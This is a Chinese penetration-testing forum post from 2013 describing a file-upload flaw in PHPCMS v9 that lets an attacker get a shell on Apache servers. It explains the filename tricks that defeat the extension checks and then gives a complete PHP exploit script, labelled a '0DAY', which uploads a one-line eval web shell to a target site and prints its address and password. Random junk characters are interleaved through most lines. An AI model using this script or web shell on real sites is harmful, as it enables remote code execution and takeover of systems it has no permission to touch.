中国网络渗透测试联盟

标题: PHPCMS v9 Getshell [打印本页]

作者: admin    时间: 2013-3-7 13:06
标题: PHPCMS v9 Getshell
漏洞类型: 文件上传导致任意代码执行
5 ^/ ^. N' w6 I% J% S1 L+ [& K" T; z! ~  b" D
简要描述:
+ O  P* _' k: l0 U  D+ c( ?1 T% u, E( x) Z: n4 w; Z( z
phpcms v9 getshell (apache)
1 y! A0 A3 ?  V. H- d详细说明:
1 R" E( t3 _0 O* z% n% e( ]' R4 g" \3 f; B1 U
漏洞文件:phpcms\modules\attachment\attachments.php4 [' ]- |4 S: R4 Q, u% z9 L/ B
! s' i: K( O9 T% i! u, `/ y- Y
public function crop_upload() {  (isset($GLOBALS["HTTP_RAW_POST_DATA"])) {  $pic = $GLOBALS["HTTP_RAW_POST_DATA"];  if (isset($_GET['width']) && !empty($_GET['width'])) {  $width = intval($_GET['width']);  }  if (isset($_GET['height']) && !empty($_GET['height'])) {  $height = intval($_GET['height']);  }  if (isset($_GET['file']) && !empty($_GET['file'])) {  $_GET['file'] = str_replace(';','',$_GET['file']);//过滤了分号  if(is_image($_GET['file'])== false || strpos($_GET['file'],'.php')!==false) exit();//is_image()检测是个关键  if (strpos($_GET['file'], pc_base::load_config('system', 'upload_url'))!==false) {  $file = $_GET['file'];  $basenamebasename = basename($file);//获取带有后缀的文件名  if (strpos($basename, 'thumb_')!==false) {  $file_arr = explode('_', $basename);  $basename = array_pop($file_arr);  }  $new_file = 'thumb_'.$width.'_'.$height.'_'.$basename;  } else {  pc_base::load_sys_class('attachment','',0);  $module = trim($_GET['module']);  $catid = intval($_GET['catid']);  $siteid = $this->get_siteid();  $attachment = new attachment($module, $catid, $siteid);  $uploadedfile['filename'] = basename($_GET['file']);  $uploadedfile['fileext'] = fileext($_GET['file']);  if (in_array($uploadedfile['fileext'], array('jpg', 'gif', 'jpeg', 'png', 'bmp'))) {  $uploadedfile['isimage'] = 1;  }  $file_path = $this->upload_path.date('Y/md/');  pc_base::load_sys_func('dir');  dir_create($file_path);  $new_file = date('Ymdhis').rand(100, 999).'.'.$uploadedfile['fileext'];  $uploadedfile['filepath'] = date('Y/md/').$new_file;  $aid = $attachment->add($uploadedfile);  }  $filepath = date('Y/md/');  file_put_contents($this->upload_path.$filepath.$new_file, $pic);//文件名可控、$pic可控  } else {  return false;  }  echo pc_base::load_config('system', 'upload_url').$filepath.$new_file;  exit;  }  }
$ p* q. ~! t: n3 r  ^后缀检测:phpcms\modules\attachment\functions\global.func.php- ~0 @# A: e) I4 B' f" n

  Q0 Q+ }7 I7 z6 l
; z3 j( ?1 p' {& S2 R. P1 O7 ~0 a* [1 h: h+ c
function is_image($file) {    $ext_arr = array('jpg','gif','png','bmp','jpeg','tiff');    $ext = fileext($file);关键地方    return in_array($ext,$ext_arr) ? $ext_arr :false;   }  
- G- e- J' @, k2 I3 @7 t2 p! _: {1 Z! Z( E  N4 R, w( m- U
关键函数:
$ K$ z5 p# ?7 m6 @5 g6 W
2 E8 e2 C+ Q% L5 [6 o
% ~* ]' y& [" s4 [* y6 R5 ?- I4 K/ t! H- y
function fileext($filename) {  return strtolower(trim(substr(strrchr($filename, '.'), 1, 10))); }  
$ m8 e$ S; F& Y- I4 D7 F; b7 A; J2 @: A5 Q
  Fileext函数是对文件后缀名的提取。, K) x7 }$ u  O
根据此函数我们如果上传文件名为ddd.Php.jpg%20%20%20%20%20%20%20Php
" t9 k+ N4 ]$ x  P! Z经过此函数提取到的后缀还是jpg,因此正在is_image()函数中后缀检测被绕过了。3 O8 F2 H! ~3 G7 b" @! S5 z1 D
我们回到public function crop_upload() 函数中
5 x4 s. i* s  P; i+ ?if(is_image($_GET['file'])== false || strpos($_GET['file'],'.php')!==false) exit();
2 g  |6 L6 M$ z5 n6 |& ~2 h在经过了is_image的判断之后又来了个.php的判断,在此程序员使用的是strpos函数
. G9 {5 e+ d. k6 x6 J5 g这个函数是对大小写敏感的函数我们使用.Php就可以直接绕过了。
$ N8 f6 ^) K9 L( L经过上边的两层的过滤我们的ddd.Php.jpg%20%20%20%20%20%20%20Php后缀依然有效。: l) h* o' E) n% o3 ]
最后$basename变量的值就为ddd.Php.jpg%20%20%20%20%20%20%20Php 然后使用file_put_contents函数写入到了指定目录。: R9 O4 _) K" v+ F4 F
看见ddd.Php.jpg%20%20%20%20%20%20%20Php这个后缀,大家应该明白了,它用在apache搭建的服务器上可以被解析。8 S" G# o  F4 X; @6 P' P- S
漏洞证明:
! P8 D  D$ j! j4 t" [0 V6 I5 @$ ^! }; J! k1 e8 U/ \
exp:3 X- ?8 b0 Z$ J( X" w' @* Q$ G
; c* f' S& I) n  R1 @
<?php
, w/ X9 Y9 v5 ^. U' m8 d: [1 J! U; [, [error_reporting(E_ERROR);9 X+ C5 L, D9 g- n2 N: c
set_time_limit(0);
% b! C9 J5 W* n$pass="ln";$ I! g/ `' g6 F7 O" d. J
print_r('
) Q1 {( ~0 k# [+---------------------------------------------------------------------------+
. d6 H% h3 E  A/ I. ^3 RPHPCms V9 GETSHELL 0DAY : G; P6 r; r7 ]
code by L.N.9 E; p7 W  X/ e3 T1 k0 P# f

# Y  b$ H' d- u) {2 Sapache 适用(利用的apache的解析漏洞) // 云安全 www.yunsec.net7 T: R# e/ F+ f" j
+---------------------------------------------------------------------------+: t5 N& D/ n3 B3 C: U; r1 c
');+ M+ @' J4 C6 D2 F7 [! W
if ($argc < 2) {5 G) U) j! G; |7 r
print_r('
3 v3 X+ n; q  e" Q9 A! H5 I+---------------------------------------------------------------------------+* K' j, Y5 W! A9 I$ m# N5 ?) x, u) J
Usage: php '.$argv[0].' url path
6 H& Z6 p9 p" ]0 N' o3 x" _* u, ~9 {" M* Z  i
Example:% z3 u0 d  r- v9 ?+ L
1.php '.$argv[0].' lanu.sinaapp.com. i  W$ ^* w' O) O& l0 a. f: p
2.php '.$argv[0].' lanu.sinaapp.com /phpcms
+ T4 }6 F- B# t/ F+---------------------------------------------------------------------------+
! o$ Z! v3 R+ p) _( B8 r* P');
/ ^; o9 X6 Y( N1 I, G' q$ _4 q2 ?exit;9 R5 c5 S: m( J% p5 u& S
}
7 B$ H+ }  W3 Y5 W7 I4 @1 x9 a" w: u# p) Z# y' |# E
$url = $argv[1];
! ?! C- P) P9 Z3 L. q0 a$path = $argv[2];: J9 [1 m9 a4 v6 v) V# B2 \* u0 Q8 @
$phpshell = '<?php @eval($_POST[\''.$pass.'\']);?>';& x. b: u+ K: a' w. k
$file = '1.thumb_.Php.JPG%20%20%20%20%20%20%20Php';
) H; m4 {$ X8 Z" |# ~1 Cif($ret=Create_dir($url,$path))
! f3 p% [0 N) l4 j" c; Z1 j{
5 m* u: z! `7 l//echo $ret;
/ g; Z* e8 e* \* H$pattern = "|Server:[^,]+?|U";* l. j& ?! U$ Z* e
preg_match_all($pattern, $ret, $matches);( \$ K/ C' P; [+ j
if($matches[0][0])
/ e' R7 I5 t  F2 }6 V) w{0 C8 {6 Y) |% z- V
if(strpos($matches[0][0],'Apache') == false)+ D9 N. Q6 e' S9 L/ j
{
- p; h2 ]% I: jecho "\n亲!此网站不是apache的网站。\n";exit;
, p' [& M4 }; M/ r8 w/ I}. Y; z4 w+ E- w+ c
}/ N: [+ M+ X- Q4 }; V
$ret = GetShell($url,$phpshell,$path,$file);
7 h9 {% S" S3 n( y' ~' u$pattern = "|http:\/\/[^,]+?\.,?|U";
& {+ P7 }' u  f! J, f2 c  ~preg_match_all($pattern, $ret, $matches);
7 O7 ^( x) a. Yif($matches[0][0])3 m9 a3 ?& O% Z
{
6 B# H- S5 A0 {( P3 v! Necho "\n".'密码为: '.$pass."\n";' D* ^) t+ e( K- T4 Y' Y( R, E
echo "\r\nurl地址: ".$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";exit;
8 Q  ?, T% ^$ _7 W$ ^  c1 g}
- s8 j9 Y# |, b! W2 g2 @else) r% V5 A6 ]2 H5 Z' v5 h. b2 w  p6 H
{7 @& q) A8 y" J% n/ W
$pattern = "|\/uploadfile\/[^,]+?\.,?|U";
/ U, U" l$ e" o6 S0 Lpreg_match_all($pattern, $ret, $matches);
  m! g& x! _) m: Z; @if($matches[0][0])  z$ x' w5 V3 \! ?
{
' r1 p' ?$ D0 D$ P- D2 }# a* p/ jecho "\n".'密码为: '.$pass."\n";- _6 Z1 B" |6 n& }/ T9 \
echo "\r\nurl地址:".'http://'.$url.$path.$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";exit;5 p: G6 k/ @' d4 B
}1 T  l2 N+ a! C" D5 b9 J) Z
else; ]+ F( p- y3 }
{" @" A8 t; s( _* B8 L
echo "\r\n没得到!\n";exit;8 z8 c( ~6 X" d( G6 v6 n
}
: {6 J5 {6 U* c9 i8 ?; p}
' `% K+ e! p, s+ K2 T3 ~}8 \/ v! Y  ~8 z; f3 c) S( a

( j& @6 w. h( M! l' T: K/ Qfunction GetShell($url,$shell,$path,$js)
* C2 I9 c1 y. E, `0 S{
* n! k0 R  k' _8 j, ~0 W$content =$shell;: z1 |0 D3 |6 o2 p
$data = "POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://".$url.$path."/uploadfile/".$js." HTTP/1.1\r\n";
% c9 K/ V) b& s8 \0 A6 y0 U0 N: [$data .= "Host: ".$url."\r\n";
5 U5 C9 d& O0 P5 b5 H$ s# E9 m$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";: P5 y, K5 C1 `* Y8 u
$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";+ b0 h8 I6 ]! ~/ R% h4 N5 G
$data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";+ @! N+ E0 i, d9 ~* x# f
$data .= "Connection: close\r\n";
. f& I4 k' \+ U% ]2 P5 t+ V$data .= "Content-Length: ".strlen($content)."\r\n\r\n";, C. f7 ~5 X1 h( W
$data .= $content."\r\n";
/ E5 i0 Q. B& t# ^$ock=fsockopen($url,80);
* A. r. D7 @- X* i/ zif (!$ock)
( c0 f8 f! c) x' ?. P, m8 s1 S{6 @8 \) [" F8 p/ q  `) x
echo "\n"."此网站没有回应,检测url是否输入正确"."\n";exit;
( A/ w  F0 J1 {}
* a& s" K1 H$ j! W2 j: ielse3 F, k* E; f) A$ z& m) ?( _
{) Y5 ?! _& s1 F1 k0 }  _- M
fwrite($ock,$data);
; M/ \6 Z  m% _4 X& n$resp = '';$ t! e: H) |. w# \
while (!feof($ock))) D0 K; ?. i9 f/ y+ w$ `
{
! ^* v" ^+ M+ Q$resp.=fread($ock, 1024);
( ?, w5 A$ v" x  M& O$ [  L}
. A  D& }6 X' l& d, C* h1 @return $resp;  G9 B8 M- X% j
}3 J) k! s& a' V& r( i' r; m
}3 R1 W; D* J& E5 u7 V6 n

1 k8 ~9 E! V" e/ q; N9 Ofunction Create_dir($url,$path='')
0 I! V0 y: |& A: }{6 n4 U; E6 @/ |" ]8 F
$content ='I love you';
1 X# s5 U9 y, Q' t+ x0 R8 \+ s$data = "POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://lanu.sinaapp.com/1.jpg HTTP/1.1\r\n";
5 ]9 V& A( f& u1 d" J4 R$data .= "Host: ".$url."\r\n";
5 m1 m1 }. [8 n; F  P0 l" Q  C$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";
" J, K9 y2 f' ~; f! F$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";3 Q0 P" M% {' g
$data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";
3 r/ w& v' I  \4 B; I$data .= "Connection: close\r\n";' w6 c1 Y' r9 R3 G/ L6 c0 [
$data .= "Content-Length: ".strlen($content)."\r\n\r\n";9 i' i8 k& j) ~9 a/ p
$data .= $content."\r\n";% H9 P6 p* Y: c  c# D
$ock=fsockopen($url,80);% P& n! n( s2 l+ J
if (!$ock)
: w1 [4 d3 Y" `' u; }{, [. U! b3 T, {- \, ?
echo "\n"."此网站没有回应,检测url是否输入正确"."\n";exit;: J# K' L. Q5 Q. y
}
8 v1 T: }, L1 R: ~* ?' x$ }fwrite($ock,$data);) a" B: @8 L8 T2 F/ k. N& I
$resp = '';3 _. ~+ R$ ^$ M* x/ C8 g& W; P
while (!feof($ock))
0 H$ M4 N/ d% A0 p{
) p( q9 F3 q+ R$resp.=fread($ock, 1024);
$ [+ z% H; Z, F6 i' B& o}
9 X( S2 Z( }' b- r* d/ zreturn $resp;; `' w( T& I: I: ^! _9 ^
}
& A: N8 ]) w; s" l. {?>
' M% B0 S. t  D/ t* Z5 y2 ~# v - Y6 L9 ~4 {% k7 N3 |, m* R
修复方案:
5 z( l1 r6 N. Y4 ^0 Q9 Y' `' R$ q6 d) ~4 t1 `; q! O  \
过滤过滤再过滤
- ?7 A5 p) e; G. C! B4 x4 x2 ^
& W- P0 V6 t/ a0 L6 t$ G




欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2